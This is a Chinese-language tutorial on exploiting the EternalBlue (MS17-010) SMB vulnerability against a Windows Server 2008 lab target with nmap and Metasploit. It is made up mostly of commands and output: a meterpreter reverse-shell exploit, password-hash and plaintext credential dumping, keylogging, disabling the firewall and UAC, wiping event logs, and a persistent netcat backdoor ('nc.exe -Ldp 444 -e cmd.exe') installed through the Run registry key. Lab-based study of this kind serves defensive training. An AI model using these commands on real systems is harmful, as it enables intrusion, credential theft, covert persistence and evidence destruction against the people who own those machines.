永恒之蓝(MS17-010)漏洞利用

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
云防火墙,500元 1000GB
简介: 永恒之蓝(MS17-010)漏洞利用

永恒之蓝(eternalblue)

永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。

SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

1、漏洞利用

第一步:在kali中使用nmap 扫描win-2K8 靶机

1)通过nmap 扫描,我们发现: 目标主机开放了445端口
2)445是共享端口—windows SMB 共享服务使用的端口
3)而且我们还清楚,永恒之蓝这个漏洞,针对的就是windows  SMB 服务,针对的就是445 端口
4)所以,既然目标服务器开放445端口,我们就可以尝试利用永恒之蓝这个漏洞对目标服务器进行扫描和探测
5)当然,我们还可以进一步去做漏洞扫描,用nessus 工具对目标服务器进行漏扫
6)通过nessus  我们也发现目标服务器上存在永恒之蓝这个漏洞

7)所以我们就可以去msf 这个工具中,查找和永恒之蓝这个漏洞相关的攻击或者辅助的脚本

  • 第二步: 脚本查找
msf6 > search ms17-010
    1  auxiliary/scanner/smb/smb_ms17_010                      //辅助扫描脚本(smb)      
    2  exploit/windows/smb/ms17_010_eternalblue            //攻击脚本(永恒之蓝)
  • 第三步:漏洞扫描
msf6 > use 1 
    msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.10.145
    msf6 auxiliary(scanner/smb/smb_ms17_010) > run
  msf6 auxiliary(scanner/smb/smb_ms17_010) > run
  [+] 192.168.10.145:445    - Host is likely VULNERABLE to MS17-010! 
                           //容易遭受ms17-010的攻击
  • 第四步: 漏洞利用,创建反弹连接
msf6 auxiliary(scanner/smb/smb_ms17_010) > back
msf6 > use 2
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.10.145
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
meterpreter >
  • 第五步:meterpreter环境中,操作远程资源
meterpreter > pwd         //查看远程目录位置
meterpreter > cd   c:/users         //切换到c盘下的users
meterpreter > ls         //列出当前远程目录下的文档资源
meterpreter > dir      //列出当前远程目录下的文档资源(和ls 命令作用相同)
meterpreter > edit  a.txt      //创建并编辑文件a.txt
meterpreter >  cat    a.txt    //查看a.txt 文件内容
meterpreter >  del   a.txt     //删除a.txt文件
meterpreter > mkdir   ntd2111  //创建新目录
meterpreter > rmdir  ntd2111    //删除目录
meterpreter >  lpwd   //查看在kali本机的目录
meterpreter >  lcd     /root/桌面     
//在本地主机kali中,将当前目录切换到 /root/桌面
meterpreter > mkdir    gaga
//在靶机win2008的当前目录users下创建目录abc
meterpreter > upload    /etc/passwd       c:/users/gaga
//将kali 中的文件/etc/passwd 上传到靶机win2008的指定的gaga目录
meterpreter > ls   abc
备注:可以回到windows-2008 c:/users/ 下手动创建jmwj.txt
meterpreter > download   jmwj.txt    
//从靶机win2008中下载文件jmwj.txt 到kali 主机的当前目录
meterpreter > download   jmwj.txt    /opt/
//从靶机win2008中下载文件jmwj.txt  到kali 主机的指定目录/opt
  • 第六步:获取密码
meterpreter > hashdump    
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
复制第四部分到网站查询 [https://cmd5.com/](https://cmd5.com/)
  • 第七步:获取用户信息
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
  • 第八步:通过 kiwi 模块获取用户口令
meterpreter > load kiwi      //加载kiwi
meterpreter > help kiwi      //kiwi使用帮助
meterpreter > creds_all      //检测所有凭证,该命令可以列举系统中的明文密码
kiwi模块,后渗透阶段的一款利器,内网渗透的一块利器,
windows 密码抓取神器、拥有提权、抓取凭证密码、很多功能,我们今天主要使用进程迁移和密码抓取
  • 第九步:屏幕共享和屏幕截图
meterpreter > screenshot    //屏幕截图
meterpreter > screenshare    //屏幕共享,按快捷键Ctrl + C停止
  • 第十步:键盘记录
    1) 查看我们当前的用户识别码、进程识别码、查看当前用户权限
meterpreter >  getuid       //查看用户识别码
      meterpreter >  getpid      //查看进程识别码
      meterpreter > getprivs     //查看当前用户权限
      meterpreter > ps            //查看进程列表
meterpreter > ps 
============
进程号    应用程序的名字       用户                          
 PID     Name               User                          
 ---     ----               ----                                                                                                            
 1048   spoolsv.exe         NT AUTHORITY\**SYSTEM**           
 1504   taskhost.exe       VAGRANT-2008R2\Administrator
  • 第十一步:进程迁移
    将 SYSTEM 权限 迁移为 Administrator
meterpreter > ps     //查看进程
    meterpreter > migrate  1504     //进程迁移
    meterpreter > getuid    //确认迁移后的用户识别码
    备注:进程迁移,只能同级别迁移或者高权限用户往低权限迁移,低权限无法往高权限迁移
  • 第十二步:执行键盘操作记录,
    备注:键盘记录需要拥有administrator 权限后才可以成功
    备注:getuid 检测
    方法1:开启键盘记录
    第一:先查看进程
meterpreter >ps
第二:做进程迁移,迁移到administrator 用户权限
meterpreter >migrate  1504(实验过程中,已实际进程号为准)
第三:确认用户权限
meterpreter > getuid
第四:开启键盘记录
meterpreter > keyscan_start     //开启键盘记录

第五:在win-2008中拼命疯狂的敲键盘

第六:回到kali 验证:

meterpreter > keyscan_dump   //导出键盘记录
方法2:利用后渗透脚本开启键盘记录

第一:先查看进程

meterpreter >ps

第二:做进程迁移,迁移到administrator 用户权限

meterpreter >migrate  1504(实验过程中,已实际进程号为准)

第三:确认用户权限

meterpreter > getuid

第四:开启键盘记录后渗透脚本

meterpreter > run post/windows/capture/keylog_recorder

第五:在 win2k8 打开记事本,输入任意内容

第六:在 kali 检查是否成功记录

打开新的终端,执行命令检查文件
      [root]# cat   /root/.msf4/loot/20211226174349_default_192.168.10.145···········
  • 第十三步: 防火墙配置
meterpreter > shell
    C:\Windows\system32> chcp  65001   //解决中文乱码,切换为英文格式

备注windows新版本命令:

1)查看防火墙当前状态

C:\Windows\system32> netsh    advfirewall      show     currentprofile       state

2)关闭防火墙

C:\Windows\system32> netsh  advfirewall  set       allprofiles      state    off

3) 开启防火墙

C:\Windows\system32> netsh advfirewall set allprofiles state on

4)添加防火墙入站规则,放行3333端口

C:\Windows\system32> netsh  advfirewall  firewall   add     rule   name=test   dir=in   action=allow   protocol=tcp localport=3333
                            高级防火墙      防火墙     添加     规则   名字          入站     动作    允许     协议         本地端口
//添加入站规则,规则名称:test   , 协议:tcp    端口:3333
备注:1024之前的端口号,不要用,为什么,因为那些端口号,都已经有主了
  • 第十四步: 关闭UAC
UAC:User Account Control
  • 用户帐户控制-是windows操作系统中一种安全控制机制
  • 使用UAC,可以防止未经授权应用程序的自动安装,阻止恶意程序,防止系统损坏
    win2k8 检查 UAC 状态
    运行中输入 msconfig,
    默认用户账户是关闭的,我们可以先打开

ADD 添加一个注册表项 -v 创建键值 -t 键值类型 -d 键值的值 1开/0关

-f 不用提示就强行覆盖现有注册表项

在 meterpreter >进入shell 运行命令, 使win2008添加注册表项,关闭用户账户

c:\windows\system> reg ADD  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System     /v   EnableLUA    /t     REG_DWORD   /d    0    /f
  • 第十五步:在meterpreter 下清除日志
meterpreter > clearev     //擦除windows 事件查看器
[*] Wiping 1146 records from Application...         //擦除1146应用日志
[*] Wiping 3288 records from System...              //擦除3288系统日志
[*] Wiping 2669 records from Security...           //擦除2669 安全日志

备注:虽然清除 很多日志,但是你擦除日志的这条日志被保留了

2、持久性后门-nc 瑞士军刀 著名后门程序
  • 第一步:上传后面程序nc.exe 到win-2008
meterpreter > upload /usr/share/windows-binaries/nc.exe   c:/windows/system32

1)查看上传结果及权限

meterpreter > cd   c:/windows/system32
      meterpreter > ls nc.exe
  • 第二步:在 meterpreter > 执行命令,远程配置win-2008注册表,实现nc.exe 能够开机自启
    第一:添加键值nc
meterpreter > **reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run   -v   nc   -d "C:\windows\system32\nc.exe     -Ldp   444     -e   cmd.exe"

备注:用注册表告诉win-2008这个系统,让nc.exe程序开机自启动

  • 第二:查询有没有nc这个键值,确认是否添加成功
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
      Values (3):
       VMware VM3DService Process
       VMware User Process
       nc     //新增的注册表
  • 第三:查询 NC键值的详细数值内容
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
      Key: HKLM\software\microsoft\windows\currentversion\Run
      Name: nc
      Data: C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe

备注:在win-2008验证:有键值,有键值内容

![](https://secure2.wostatic.cn/static/9x17M9vUpdEinV6sP5ophK/1640543114(1).png)
  • 第三步:重启win-2008
    备注:重启win-2008 验证,是否能开机自动启动
    验证:验证靶机上的444端口是否开启
meterpreter >shell
    C:\Windows\system32> netstat -an
    C:\Windows\system32> netstat -an | findstr "444"

备注:验证2008系统中的444端口是否开启,如果开启证明,nc这个程序以及开机自动运行了,如果没有444这个端口,就代表能nc程序没能成功运行

  • 第四步:可以检查防火墙,防火墙要在入站规则中放行444端口,或者关闭防火墙
meterpreter > shell
    C:\Windows\system32>  netsh advfirewall firewall add rule name=tedu dir=in action=allow protocol=tcp localport=444
  • 第五步:后门接入
    在 kali 连接 win2k8
    在kali 中打开一个新的终端
[root] nc 192.168.10.145 444
    C:\Windows\system32>
  • 第六步:清楚痕迹
    验证:在事件查看器里面看到的是administrator 的登录信息,可以清空日志
C:\Windows\system32>  wevtutil el    //列出日志名称
C:\Windows\system32>  wevtutil  cl application   //清除应用程序日志
C:\Windows\system32>  wevtutil  cl security     //清除安全日志
C:\Windows\system32>  wevtutil  cl  system    //清除系统日志
  • 常见错误排错:
    如果无法连接到后门程序
    第一步:可以在kali 中检查端口状态
meterpreter >shell
      C:\Windows\system32> netstat -an
      C:\Windows\system32> netstat -an | findstr ":444"
    ```
    第二步:可以检查防火墙,防火墙要在入站规则中放行444端口,或者关闭防火墙
meterpreter > shell
  C:\Windows\system32>  netsh advfirewall firewall add rule name=tedu dir=in action=allow protocol=tcp localport=444
目录
相关文章
|
6月前
|
安全 网络安全 Windows
永恒之蓝上线CS
该文介绍了在内网环境下,利用永恒之蓝漏洞(EternalBlue)将攻击者控制台(CS)上线的方法。前提条件是目标机器可上网、无防火墙和杀毒软件,并且存在永恒之蓝漏洞。使用Erebus插件的eterblue功能,通过MSF生成DLL文件,再利用永恒之蓝漏洞注入到目标系统中。文中给出了MSF生成不同平台DLL的命令,并详细说明了如何替换CS工具中的DLL文件,最后展示了在Double中选择目标IP和系统位数进行攻击,成功上线CS的截图。
184 4
永恒之蓝上线CS
|
6月前
|
Shell 数据安全/隐私保护 Windows
MSF永恒之蓝使用
MSF永恒之蓝使用
74 0
|
6月前
|
SQL 安全 测试技术
渗透测试基础之永恒之蓝漏洞复现
对于当下来说我们使用的电脑大多是win11或是win10,还是有很多政府和公司,或是学校中使用的系统还停留在win7系统.今天是我进行渗透测试的第一次实战,通过永恒之蓝漏洞利用对win7系统进行渗透,当然也会对渗透测试的流程进行一个详细的介绍.,渗透测试的流程信息较为详细,内容较多,如果想看实战流程,直接通过通过这次的渗透测试,虽然不是对web间进行渗透测试,但是通过实战能够使我能够熟悉渗透测试的流程,当然在实践过程中也出现了很多问题,例如从kali上传文件到win主机路径出现问题,配置攻击模块时将ip地址设置错误,但在我不断的思考和尝试下,最终解决了问题,对于我的解决问题的能力也是一种提升.
330 3
|
6月前
|
安全 网络安全 Windows
永恒之蓝(ms17_010)漏洞攻击原理与防护加固
通过nmap检测到目标服务器开放445端口,疑似存在MS17_010(永恒之蓝)漏洞。利用MSF的eternalblue模块成功入侵,获得system权限,证实漏洞存在。随后,通过禁用并停止Server服务进行加固。再次尝试攻击,显示加固有效,攻击失败。
762 0
|
监控 安全 测试技术
ms17-010(永恒之蓝)漏洞复现
ms17-010(永恒之蓝)利用的端口是445端口。 本文主要讲解ms17-010(永恒之蓝)漏洞复现,分为四个部分:了解渗透测试流程,使用nmap工具对win7进行扫描,尝试ms17-010漏洞利用,结果展示。第一部分“了解渗透测试流程”可以略过,可以直接从第二部分“使用nmap工具对win7进行扫描”开始看起。
868 5
ms17-010(永恒之蓝)漏洞复现
|
11月前
|
安全 网络安全 Windows
CVE-2017-0143永恒之蓝复现
CVE-2017-0143永恒之蓝复现
126 0
|
安全 开发工具 git
win10永恒之黑漏洞复现
win10永恒之黑漏洞复现
116 0
|
安全 Shell Linux
kali (永恒之蓝MS17_010)漏洞复现
kali (永恒之蓝MS17_010)漏洞复现
213 0
|
安全 数据安全/隐私保护 Windows
“永恒之蓝”勒索病毒检测+恢复工具
预测第二波WannaCry勒索病毒攻击即将到来! NSA黑客武器库泄漏的“永恒之蓝”发起的病毒攻击事件。 解决方案:勒索蠕虫病毒文件恢复工具 检测工具下载
159 0
|
安全 网络安全 API
MS17-010永恒之蓝漏洞的浅谈与利用
MS17-010永恒之蓝漏洞的浅谈与利用
453 0